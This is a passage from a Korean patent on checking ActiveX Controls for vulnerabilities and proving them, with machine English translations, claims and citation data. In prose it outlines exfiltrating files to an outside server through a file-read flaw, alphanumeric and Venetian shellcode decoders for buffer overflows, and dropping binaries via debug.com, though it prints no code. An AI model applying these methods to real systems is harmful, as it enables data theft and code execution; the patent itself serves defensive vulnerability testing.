파일 읽기 취약점을 이용하여 PC에 존재하는 주요 파일들을 외부로 전송하기 위해서는 form의 POST 방식을 이용할 수 있다. 파일을 외부로 전송하기 전에 반드시 인코딩을 수행해야 한다. 텍스트 파일의 경우 일부 특수 문자만을 인코딩하여 전송하면 되지만, 바이너리 파일의 경우는 파일 전체의 내용을 인코딩하여 보내야 한다. 도 15는 바이너리 파일 내용을 인코딩하여 외부(checker.web.server)에 전송하는 코드의 예이다. You can use the POST method of the form to send major files existing in the PC to the outside by using file reading vulnerability. Encoding must be done before sending the file to the outside. In the case of a text file, only some special characters need to be encoded and transmitted. In the case of a binary file, the entire contents of the file must be encoded and sent. 15 is an example of code for encoding binary file contents and transmitting them to the outside (checker.web.server).

이와 같이, 본 실시예에서는 ActiveX Control에서 자주 발견되는 9가지 취약점에 대해서 유형별로 정리하였다. 또한, ActiveX Control의 안전성을 보장하기 위해 사용되는 제 3자에 의한 ActiveX Control 취약점 검사 절차와 검증 기법에 대해 기술하였다. 취약점 검사는 점검 대상인 ActiveX Control 식별로 시작해 의미있는 검사를 수행하기 위해 정보를 수집하는 정보 수집 단계, 실제 취약점을 점검하는 검사 단계, 검사 단계에서 미흡한 부분을 보완하기 위한 Reverse Engineering 단계를 거쳐 이루어진다. As such, in this embodiment, the nine vulnerabilities frequently found in ActiveX Control are summarized by type. In addition, this chapter describes the procedure and verification technique for ActiveX control vulnerability inspection by third parties used to ensure the safety of ActiveX Control. Vulnerability check begins with identification of ActiveX control to be checked and goes through information gathering step to collect information to perform meaningful check, check step to check actual vulnerability, and Reverse Engineering step to compensate for the missing part in the check step.

취약점 검사를 통해 발견된 취약점들은 취약점 검증 코드를 통해 실제 위협 을 증명함으로써 False Positive 오류를 막을 수 있다. ActiveX Control에서 취약점 검증에 필요한 요소기술들이 일반 응용프로그램과 다르고 DBCS 문제로 인해 국내 환경과 국외 환경에서 필요한 요소기술들도 많이 다르다. 본 실시예에서는 다양한 기술들을 접목하고 새로운 아이디어를 통해 다양한 환경에서 동작할 수 있는 취약점 검증 코드의 작성 방법들에 대해서 기술하였다. Vulnerabilities discovered through vulnerability checking can prevent false positive errors by proving actual threats through vulnerability verification code. Element technologies required for vulnerability verification in ActiveX Control are different from general application programs, and the required element technologies in domestic and foreign environments are also different due to DBCS problems. In this embodiment, we describe how to write vulnerability verification code that can operate in various environments through various ideas and new ideas.

이상에서는 본 발명의 바람직한 실시예에 대하여 설명하였으나, 본 발명은 상기한 실시예에 한정되지 아니하며, 청구범위에서 청구하는 본 발명의 요지를 벗어남이 없이 당해 본 발명이 속하는 분야에서 통상의 지식을 가진 자라면 누구든지 다양한 변형 실시가 가능한 것을 물론이고, 그와 같은 변경은 기재된 청구범위 내에 있게 된다. In the above description of the preferred embodiment of the present invention, the present invention is not limited to the above-described embodiment, without having to deviate from the gist of the present invention claimed in the claims, having ordinary knowledge in the field Of course, any modification can be made by any person, such changes are within the scope of the claims.

상술한 바와 같이, 본 발명에 의하면 시스템에 설치된 ActiveX Control들에 대한 정확한 식별과 이종 시스템간의 ActiveX Control 차이 식별이 가능하여 ActiveX Control들에 대한 취약점 점검을 수행하기 위한 사전 작업에 사용될 수 있을 뿐만 아니라, 궁극적으로 다양한 서비스를 제공받음과 아울러 개인 PC 보안을 강화할 수 있다. As described above, according to the present invention, it is possible to accurately identify ActiveX controls installed in a system and identify ActiveX control differences between heterogeneous systems, which can be used for preliminary work for performing vulnerability checks on ActiveX controls. Ultimately, you can enhance your personal PC security while providing a variety of services.

Claims (14)

특정 프로그램이 설치되기 전과 설치한 후에 레지스트리 정보를 비교하여 차이가 존재하는 COM을 식별하는 식별 단계; An identification step of comparing the registry information before and after the specific program is installed to identify the COM in which the difference exists; Type Library를 통해 ActiveX Control의 Method, Property, Event를 식별하여 실제로 사용하는 웹 페이지들을 분석함으로써 상기 Method, Property, Event의 로직과 정상적인 매개변수 값을 유추하는 정보 수집 단계; 및 An information collection step of inferring logic and normal parameter values of the method, property, and event by analyzing web pages that are actually used by identifying a method, property, and event of an ActiveX control through a type library; And 상기 ActiveX Control에 코딩상의 실수나 디자인상의 오류로 인한 취약점의 존재여부를 검사하는 검사 단계Checking step to check the existence of vulnerability due to coding mistake or design error in the ActiveX Control 를 포함하는 것을 특징으로 하는 ActiveX Control 취약점 검사 방법. ActiveX control vulnerability check method comprising the. 제1항에 있어서, 상기 검사 단계 이후에, IDispatch::Invoke 함수를 통하여 사용할 수 있는 모든 Method, Property, Event들을 가상 함수 테이블을 통해서도 직접 접근할 수 있도록 구현한 이중 인터페이스에서 Invoke 함수 주소 아래에 존재하는 각 Method, Property 혹은 Event의 시작주소를 이용하여 취약점을 검사하는 리버스 엔지니어링 단계를 더 진행하는 것을 특징으로 하는 ActiveX Control 취약점 검사 방법. The method of claim 1, wherein after the checking step, all methods, properties, and events available through the IDispatch :: Invoke function are located under the Invoke function address in a dual interface that can be directly accessed through a virtual function table. ActiveX control vulnerability checking method further comprising a reverse engineering step of checking the vulnerability using the start address of each method, property or event. 제1항에 있어서, 상기 ActiveX Control 식별 단계는 레지스트리 HKEY_CLASSES_ROOT\CLSID 하위에 존재하는 모든 레지스트리 정보와 이미 저장된 레지스트리 정보를 비교하여 차이가 존재하는 COM을 식별하는 것을 특징으로 하는 ActiveX Control 취약점 검사 방법. The method according to claim 1, wherein the identifying ActiveX control step compares all registry information existing under the registry HKEY_CLASSES_ROOT \ CLSID with registry information already stored to identify a COM having a difference. 제1항에 있어서, 상기 ActiveX Control 식별 단계는 IDispatch 혹은 IDispatchEx 인터페이스 제공여부에 대해 테스트를 독립적으로 수행하는 것을 특징으로 하는 ActiveX Control 취약점 검사 방법. The method of claim 1, wherein the identifying ActiveX control step independently tests whether the IDispatch or IDispatchEx interface is provided. 제1항에 있어서, 상기 검사 단계는 ActiveX Control이 설치된 클라이언트와 ActiveX Control의 Method, Property, Event를 점검하기 위한 웹 페이지들을 올려놓은 웹 서버간 접속을 통해 이루어지는 것을 특징으로 하는 ActiveX Control 취약점 검사 방법. The method of claim 1, wherein the checking step is performed through a connection between a client on which an ActiveX control is installed and a web server on which web pages for checking methods, properties, and events of the ActiveX control are placed. ActiveX Control에 코딩상의 실수나 디자인상의 오류로 인한 취약점이 존재할 경우에, ActiveX Control의 취약점 검증 코드를 작성할 때 취약점에 대응하여 ActiveX Control에 적합한 쉘코드를 작성하고, 검증 코드가 실행되는 PC의 웹 브라우저 종류와 버전, 운영체제 버전과 언어를 포함한 정보를 확인할 수 있는 웹 브라우저의 오브젝트 모델을 이용하여 리턴 어드레스를 다양화하여 검증 코드를 작성하 여 검증을 수행하는 것을 특징으로 하는 ActiveX Control 취약점 검증 방법. If there is a vulnerability due to a coding mistake or a design error in the ActiveX Control, when writing the vulnerability verification code of the ActiveX Control, write a shell code suitable for the ActiveX Control in response to the vulnerability, and then use the web browser of the PC where the verification code is executed. ActiveX control vulnerability verification method characterized by writing verification code by varying return address using object model of web browser that can check information including type and version, operating system version and language. 제6항에 있어서, 상기 취약점이 버퍼오버플로우일 경우에, ActiveX Control에 넘겨진 Unicode 문자열을 DBCS 문자열로 변환하였을 때 원하는 기능을 수행하는 바이너리 쉘코드를 Alphanumeric 형태로 인코딩하고, 디코더 작성부만을 Alphanumeric 바이트 값을 가진 opcode만으로 작성하여 상기 디코더 작성부가 실행되면 “디코더가 쓰여지는 곳”에 디코더를 작성하고, 상기 디코더는 인코딩된 쉘코드를 디코딩하여 원래의 바이너리 쉘코드로 복원하고, 상기 디코더 수행이 끝나면 원하는 바이너리 쉘코드가 실행되는 것을 특징으로 하는 ActiveX Control 취약점 검증 방법. The alphanumeric byte of the binary shellcode which performs a desired function when converting a Unicode string passed to an ActiveX control into a DBCS string when the vulnerability is a buffer overflow. When the decoder writing unit is executed by writing only the opcode having a value, the decoder is written in the “where the decoder is written”. The decoder decodes the encoded shellcode and restores the original binary shellcode. ActiveX control vulnerability verification method characterized in that the desired binary shell code is executed. 제6항에 있어서, 취약점이 버퍼오버플로우일 경우에, 원하는 기능을 수행하는 바이너리 쉘코드를 ASCII 형태로 인코딩하고, 디코더 작성부는 Unicode 바이트 값으로 이루어진 opcode만으로 Venetian Method를 수행하는 디코더를 작성하여 디코더가 인코딩된 쉘코드를 원래의 쉘코드로 변환하고 실제 쉘코드가 실행되는 것을 특징으로 하는 ActiveX Control 취약점 검증 방법. The decoder of claim 6, wherein when the vulnerability is a buffer overflow, the binary shellcode that performs a desired function is encoded in ASCII format, and the decoder generator writes a decoder that performs a Venetian method using only an opcode composed of Unicode byte values. How to verify the ActiveX Control vulnerability, characterized in that the encoded shellcode is converted to the original shellcode and the actual shellcode is executed. 제6항에 있어서, 상기 취약점이 프로세스 실행일 경우에, *.txt라는 텍스트 파일을 생성하고, 상기 텍스트 파일을 debug.com의 입력 파일로 사용하여 debug.com이 바이너리 파일을 생성한 후, 해당 파일을 실행하는 것을 특징으로 하 는 ActiveX Control 취약점 검증 방법. The method of claim 6, wherein when the vulnerability is a process execution, a text file called * .txt is generated, and debug.com generates a binary file using the text file as an input file of debug.com. An ActiveX Control vulnerability verification method characterized by executing a file. 제6항에 있어서, 상기 취약점이 파일 읽기일 경우에, 텍스트 파일의 경우 일부 특수 문자만을 인코딩하고, 바이너리 파일의 경우 파일 전체의 내용을 인코딩하는 form의 POST 방식을 이용하는 것을 특징으로 하는 ActiveX Control 취약점 검증 방법. The ActiveX Control vulnerability of claim 6, wherein when the vulnerability is a file read, the form uses a POST method of a form that encodes only some special characters in the case of a text file and encodes the entire contents of the file in the case of a binary file. Verification method. 레지스트리 HKEY_CLASSES_ROOT\CLSID 하위에 존재하는 모든 레지스트리 정보를 저장하고, 저장된 레지스트리 정보와 특정 프로그램이 설치되기 전과 설치한 후에 레지스트리 정보를 비교하여 차이가 존재하는 COM을 식별하는 메인 모듈; 및 A main module for storing all registry information existing under the registry HKEY_CLASSES_ROOT \ CLSID, and comparing the stored registry information with registry information before and after a specific program is installed to identify a COM having a difference; And 상기 차이가 존재하는 COM에 대해서 IDispatch나 IDispatchEx 인터페이스를 제공하는지 확인하는 테스트 모듈Test module that checks if the above difference provides IDispatch or IDispatchEx interfaces 을 포함하는 것을 특징으로 하는 ActiveX Control 식별 장치. ActiveX control identification device comprising a. 제11항에 있어서, 상기 테스트 모듈은 인터페이스 확인 작업을 수행하면서 해당 테스트 모듈이 비정상적으로 종료될 경우에 다른 테스트 모듈을 재실행하여 계속 작업을 수행하는 것을 특징으로 하는 ActiveX Control 식별 장치. The apparatus of claim 11, wherein the test module continuously executes another test module when the test module is abnormally terminated while performing an interface check operation. 특정 프로그램이 설치되기 전과 설치된 후에 레지스트리 정보의 변화를 통해 ActiveX Control을 식별하는 것을 특징으로 하는 ActiveX Control 식별 방법. ActiveX control identification method characterized by identifying the ActiveX control by changing the registry information before and after a particular program is installed. 제13항에 있어서, 상기 ActiveX Control 식별은 운영체제가 다르거나 사용환경이 다른 두 시스템 사이에 각각 저장된 레지스트리 정보간 ActiveX Control의 차이를 통해 이루어지는 것을 특징으로 하는 ActiveX Control 식별 방법. The method of claim 13, wherein the identification of the ActiveX control is performed through a difference of ActiveX control between registry information stored between two systems having different operating systems or different usage environments.
KR1020060022484A 2006-03-10 2006-03-10 Method for finding and proving vulnerability in activex control and apparatus and method for identifying activex control KR100821614B1 (en)

Priority Applications (1)

Application Number Priority Date Filing Date Title
KR1020060022484A KR100821614B1 (en) 2006-03-10 2006-03-10 Method for finding and proving vulnerability in activex control and apparatus and method for identifying activex control

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
KR1020060022484A KR100821614B1 (en) 2006-03-10 2006-03-10 Method for finding and proving vulnerability in activex control and apparatus and method for identifying activex control

Publications (2)

Publication Number Publication Date
KR20070092403A true KR20070092403A (en) 2007-09-13
KR100821614B1 KR100821614B1 (en) 2008-04-16

Family

ID=38689758

Family Applications (1)

Application Number Title Priority Date Filing Date
KR1020060022484A KR100821614B1 (en) 2006-03-10 2006-03-10 Method for finding and proving vulnerability in activex control and apparatus and method for identifying activex control

Country Status (1)

Country Link
KR (1) KR100821614B1 (en)

Cited By (2)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
KR100916329B1 (en) * 2007-11-01 2009-09-11 한국전자통신연구원 Device and Method for Inspecting Vulnerability of Software
KR101055267B1 (en) * 2010-03-05 2011-08-09 한국전자통신연구원 Method for identifying distribution sites of activex controls and verifying security weaknesses of activex controls and immunizing activex controls

Family Cites Families (3)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
IL120420A (en) 1997-03-10 1999-12-31 Security 7 Software Ltd Method and system for preventing the downloading and execution of executable objects
KR100684986B1 (en) * 1999-12-31 2007-02-22 주식회사 잉카인터넷 Online dangerous information screening system and method
US8332943B2 (en) 2004-02-17 2012-12-11 Microsoft Corporation Tiered object-related trust decisions

Cited By (3)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
KR100916329B1 (en) * 2007-11-01 2009-09-11 한국전자통신연구원 Device and Method for Inspecting Vulnerability of Software
US8539449B2 (en) 2007-11-01 2013-09-17 Electronics And Telecommunications Research Institute Device and method for inspecting software for vulnerabilities
KR101055267B1 (en) * 2010-03-05 2011-08-09 한국전자통신연구원 Method for identifying distribution sites of activex controls and verifying security weaknesses of activex controls and immunizing activex controls

Also Published As

Publication number Publication date
KR100821614B1 (en) 2008-04-16

Similar Documents

Publication Publication Date Title
Chen et al. Mystique: Uncovering information leakage from browser extensions
Guha et al. Verified security for browser extensions
Dahse et al. Static Detection of {Second-Order} Vulnerabilities in Web Applications
Lam et al. A general dynamic information flow tracking framework for security applications
Bandhakavi et al. Vetting browser extensions for security vulnerabilities with vex
US8266700B2 (en) Secure web application development environment
US8800042B2 (en) Secure web application development and execution environment
WO2016086767A1 (en) Method, browser client, and device for achieving browser security
US20150007142A1 (en) Branch destination tables
EP1938236A1 (en) Method and apparatus to authenticate source of a scripted code
CN109255235B (en) Mobile application third-party library isolation method based on user state sandbox
Wang et al. An empirical study of dangerous behaviors in firefox extensions
Song et al. Understanding javascript vulnerabilities in large real-world android applications
Kim et al. {FuzzOrigin}: Detecting {UXSS} vulnerabilities in browsers through origin fuzzing
Ghosh et al. Analyzing programs for vulnerability to buffer overrun attacks
Xiao et al. Preventing client side XSS with rewrite based dynamic information flow
CN111563260B (en) Android application program-oriented Web injection code execution vulnerability detection method and system
KR100821614B1 (en) Method for finding and proving vulnerability in activex control and apparatus and method for identifying activex control
Sze et al. A portable user-level approach for system-wide integrity protection
CN110597496B (en) Method and device for acquiring bytecode file of application program
Chen et al. IntFinder: Automatically detecting integer bugs in x86 binary program
AlJarrah et al. The demon is in the configuration: Revisiting hybrid mobile apps configuration model
Huang et al. Web application security—past, present, and future
Kwon et al. Automatic detection of unsafe dynamic component loadings
Fedák et al. Fundamentals of static malware analysis: principles, methods and tools

Legal Events

Date Code Title Description
A201 Request for examination
E902 Notification of reason for refusal
E90F Notification of reason for final refusal
E701 Decision to grant or registration of patent right
GRNT Written decision to grant
FPAY Annual fee payment

Payment date: 20130329

Year of fee payment: 6

FPAY Annual fee payment

Payment date: 20140326

Year of fee payment: 7

FPAY Annual fee payment

Payment date: 20160328

Year of fee payment: 9

FPAY Annual fee payment

Payment date: 20170406

Year of fee payment: 10

FPAY Annual fee payment

Payment date: 20180404

Year of fee payment: 11